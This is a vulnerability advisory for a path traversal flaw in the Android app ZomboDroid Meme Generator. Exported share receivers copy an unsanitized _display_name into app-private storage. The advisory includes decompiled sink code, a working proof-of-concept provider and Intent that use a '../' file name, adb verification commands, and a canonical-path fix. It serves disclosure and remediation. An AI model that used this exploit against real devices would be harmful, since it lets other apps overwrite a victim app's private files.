| Vendor | ZomboDroid |
| Product | Meme Generator (com.zombodroid.MemeGenerator) |
| Affected | 4.6825 (versionCode 46825), minSdk 23, targetSdk 35 |
| Class | CWE-22 Path Traversal (Dirty Stream) |
| CVSS 3.1 | AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N (6.2) |
| CVE | pending |
com.zombodroid.MemeGenerator exports four zero-permission ACTION_SEND receivers that accept an image/* content URI and copy it into app-private storage. The destination filename is taken verbatim from the URI’s OpenableColumns.DISPLAY_NAME with no basename strip and no canonicalization, so a _display_name containing ../ writes outside the intended directory. Any installed app can write a file to an attacker-chosen path under /data/data/com.zombodroid.MemeGenerator/ with no permission and no user interaction beyond the receiver launching.
Exported, no permission, action.SEND, mimeType="image/*":
com.zombodroid.memegen6source.ShareToMemeGen (confirmed end to end)com.zombodroid.breakingnews.ui.ShareToBreakingNewscom.zombodroid.collage.ui.ShareToCollagecom.zombodroid.demotivateposter.ui.ShareToDemotivatePosterSink: t5.l.c(Uri, File, Activity), also reachable via com.zombodroid.help.FileHelperV2 from com.zombodroid.combiner.CombineEditorActivity.f1(Uri, boolean).
Release dex, 4.6825:
ShareToMemeGen.G0(Uri uri):
dir = M5.f.x(activity) // getFilesDir() + "/customMemeImages"
return t5.l.d(uri, dir.getAbsolutePath(), activity)
t5.l.d(uri, dirPath, act):
new File(dirPath).mkdirs()
return t5.l.c(uri, new File(dirPath), act)
t5.l.c(Uri uri, File dir, Activity act):
name = t5.l.o(uri, act) // raw _display_name
f = new File(dir, name) // no basename, no canonical, no prefix
out = new FileOutputStream(f) // attacker content
return f.getAbsolutePath()
t5.l.o(uri, act):
name = cursor.getString(cursor.getColumnIndex("_display_name")) // RAW
return t5.l.m(name, fallback, ext) // m() keeps name verbatim when it ends in
// png/jpg/jpeg/gif/webp/bmp
The basename strip t5.l.r() (substring(lastIndexOf('/') + 1)) is applied to the fallback only, never to _display_name. There is no counter prefix.
base = /data/data/com.zombodroid.MemeGenerator/files/customMemeImages
_display_name = "../<name>.png" -> /data/data/com.zombodroid.MemeGenerator/files/<name>.png
Zero-permission app exports a provider returning a traversal _display_name, then fires ACTION_SEND at the receiver with the provider URI as EXTRA_STREAM.
// provider query row (".png" keeps t5.l.a() true, name kept verbatim)
c.addRow(new Object[]{ "../ACTUATOR_POC_" + sig + ".png", (long) payload.length });
Intent i = new Intent(Intent.ACTION_SEND);
i.setClassName("com.zombodroid.MemeGenerator",
"com.zombodroid.memegen6source.ShareToMemeGen");
i.setType("image/png");
i.putExtra(Intent.EXTRA_STREAM, Uri.parse("content://com.poc.dirtystream.evil/files/" + sig));
i.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
startActivity(i);
adb shell am start -n com.poc.dirtystream/.MainActivity
adb shell su -c 'cat /data/data/com.zombodroid.MemeGenerator/files/ACTUATOR_POC_<sig>.png'
Result: the file lands at /data/data/com.zombodroid.MemeGenerator/files/ACTUATOR_POC_<sig>.png, outside the customMemeImages directory the app selected, owned by the Meme Generator UID, containing the attacker-supplied bytes.
Strip the path before building the destination file:
File f = new File(dir, name).getCanonicalFile();
if (!f.getCanonicalPath().startsWith(dir.getCanonicalFile().getPath() + File.separator)) {
throw new SecurityException("path traversal");
}
Apply to t5.l.c and FileHelperV2; route _display_name through the existing t5.l.r() strip.